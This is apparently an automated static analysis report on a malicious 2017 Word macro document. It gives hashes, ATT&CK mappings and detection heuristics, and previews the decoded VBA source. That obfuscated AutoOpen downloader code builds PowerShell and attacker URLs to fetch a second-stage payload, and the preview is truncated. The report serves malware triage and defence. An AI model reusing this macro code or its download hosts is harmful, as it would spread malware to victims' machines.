Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 830404759ae50123…

MALICIOUS

Office (OLE)

157.0 KB Created: 2017-11-28 09:11:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: dc903f2fe131e21c5efde43890c7534c SHA-1: fea8dd66ca6d26760971d20ffb3f6f70f4da7154 SHA-256: 830404759ae501238a7326afa187ebe2bd6c8c24137c85587a75aaf181ea5aac
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the presence of a Shell() call within its VBA macros. The extracted VBA script explicitly constructs the URL "http://wLuU+LuUww.Hbo+HboLuU+LuUunix.com.tw/EAYc/" and other similar obfuscated URLs, which are likely used to download and execute a second-stage payload. The AutoOpen macro and ClamAV detection further confirm its malicious nature.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wLuU+LuUww.Hbo+HboLuU+LuUunix.com.tw/EAYc/,http:/LHbo+H In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 78083 bytes
SHA-256: e38072f05a6eb6ce5e2dc74ba0f67603586b975fdd76570ad6e3b15207346bad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "QDWjUsIUJ"
Function oRlRdXwhn()
uOAwszTpH = Array(StrReverse("bthwwcoIiv"), StrReverse("JpQqtzDzYP"), StrReverse("rFwGQbaLEa"), StrReverse("NLUjhMqHAN"), StrReverse("GEJbzDjiXj"), StrReverse("XkanjWvajV"), StrReverse("BdDDiwUjIj"), StrReverse("JvzKImvWIN"))
vhPCiCioWPN = Mid("Nrtin0uqkjjLw5UjHIw.rompaLu'+'U+LuUmLuU+LuUoselcircLuU+LuUulo.orgLuU+LuUHbo+Hbo/NTLuU+LuUcaELuU+LuU'+'Hbo+Hbo/,hLuU+LuUttp://wwwLuU+LuU.'+'deLuU+LuUmLuU+LuUo2LuU+Hbo+HboWzOs", 19, 151)
wEfbAfpKd = Array(StrReverse("iUkjdURKRR"), StrReverse("MGTQZGQXPC"), StrReverse("hjLNcUOuGU"), StrReverse("bQtftSNUww"), StrReverse("WHwNKEtVNJ"), StrReverse("XzckBzJXEI"), StrReverse("FXDzpvNnXG"), StrReverse("swZQjajwCX"))
iFECUnYd = Array(StrReverse("urnXCdkhAL"), StrReverse("RPaiLcBFtz"), StrReverse("jwarXblPft"), StrReverse("aYSTaJqfBE"), StrReverse("NnjzPuUUzj"), StrReverse("lqdJiwRvAa"), StrReverse("rVCGktwHEB"), StrReverse("lVEolvNcbd"))
YrooVzHHI = Array(StrReverse("aHMcXBXOqZ"), StrReverse("anzGBrBLkF"), StrReverse("QjXqIdEEhW"), StrReverse("zLiARrtJjq"), StrReverse("fLSjLwiZKj"), StrReverse("IiEimtjWUu"), StrReverse("wThUaOIwoK"), StrReverse("wsctZEOriK"))
SoIIMGJEGf = Mid("9DLBhfobzsPXBLXKF6uwii0jdvwjuUuaLuHbo+HboU+Lu'+'UsLuU+LuU)LHbo+Hbou'+'U+LuU;break;LuU+LuU}caLuU+L0OO", 29, 68)
iNZvVTNjO = Array(StrReverse("GQPwIkuJpc"), StrReverse("sufaMrldMW"), StrReverse("zNQzuQloXi"), StrReverse("loUWTbFDwA"), StrReverse("wnSbJrpibu"), StrReverse("KjQFjtASEs"), StrReverse("wGlGrDaIGl"), StrReverse("lhfLYJuonD"))
odUtAs = Array(StrReverse("ufuAOQHwOX"), StrReverse("IWpotMiwFw"), StrReverse("pjkzhPGKIh"), StrReverse("fsrJzQYjFK"), StrReverse("HMkQBbDoAM"), StrReverse("aQliULvuSw"), StrReverse("JwnjsPifoc"), StrReverse("nzsupdzTzG"))
hDloAUmQA = Array(StrReverse("snwOnQfkCw"), StrReverse("YzUtnsEtXM"), StrReverse("ciOkEVPCii"), StrReverse("IUWHmDUCJL"), StrReverse("PwwZlbOlGl"), StrReverse("XnbDmKZMKR"), StrReverse("AdCUoEaMGk"), StrReverse("YBjLzjkpzc"))
vlIskMBIS = Mid("FOkBmROldVR09GOiLuUwLuU+LuU'+'.beLuHbo+HboU+LuUllLuU+LuUacaLuU+LuUHbo+Hbosastore.com.brLuU+Lu'+'U/Hbo+HboLuU+LuUWnmELuU+Hbo+HboLuUn/LuU+LuU,hLuUHbo+Hbo+LuUttLuUHbo+wt", 17, 148)
DXPVGcAitLF = Array(StrReverse("MSKwHOHJoo"), StrReverse("ViNHBLZEXm"), StrReverse("wXzXZcYqsr"), StrReverse("LbwMlrlrYi"), StrReverse("IVqAGJjkti"), StrReverse("EvvLJpTnXf"), StrReverse("qQQzcuhBWJ"), StrReverse("ZiftdbjwQP"))
iqvVtEM = Array(StrReverse("HdvzLUsSVc"), StrReverse("dHssKludlj"), StrReverse("ABfVNVDPGG"), StrReverse("akMhJWhEJT"), StrReverse("LIriGQJrBL"), StrReverse("lGDSbGwZkq"), StrReverse("RdMOCtuKio"), StrReverse("EpURVsKAPw"))
ffpfHS = Array(StrReverse("ckXJlNZHLR"), StrReverse("DOiVAUDhWq"), StrReverse("wnMSUSzfEH"), StrReverse("SXEbvzWnlu"), StrReverse("AqVXtEANsi"), StrReverse("RMIGNoYFoS"), StrReverse("OtDEwfKCaD"), StrReverse("zPwbqISpYQ"))
ZljwVoWJ = Mid("EoLj0har]98),[STRinG]['+'char]92).rEpLAC'+'e(([char]90+[char]101+[char]11Hbo+Hbo'+'5),['+'STRi'+'nG][char]39))Hbo)-Creplace ([ChAR]76+[Ch'+'AR]117+[ChAR]85),[ChAR]39)Tf6.( mfVsXSzh6iBm", 6, 171)
AKfVV = Array(StrReverse("LLOuUTjuFD"), StrReverse("XHUTChvcbM"), StrReverse("VwJNHwlmzi"), StrReverse("vwKniFPRti"), StrReverse("NAEiQwUBPn"), StrReverse("ziYCbMCBnX"), StrReverse("itzXIZzhow"), StrReverse("SiitwUtiwL"))
SnwRsHaYh = Array(StrReverse("SmnZpGPzOH"), StrReverse("ZRwSjGmQYO"), StrReverse("tzmpjBQjQF"), StrReverse("VjhXzcGdPs"), StrReverse("QMnSdjRdvj"), StrReverse("VBQKXUzzsn"), StrReverse("qjhJlpkaTE"), StrReverse("AJBjzhJULA"))
cjrNAbnhj = Array(StrReverse("nbGvnfsOpI"), StrReverse("bECBwpCOUd"), StrReverse("VjAjiXbWHU"), StrReverse("dGdHkrbPXo"), StrReverse("FIDQWdcCSa"), StrReverse("jBCmVHaZMQ"), StrReverse("EVGViVbvRG"), StrReverse("NnrfXMcjKE"))
UqBkkCYBioM = Mid("AWWjbSTNOiHX8Y1jOMQrE6lUE& ( $enV:pUbLIC[13]+$Env:Pub
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.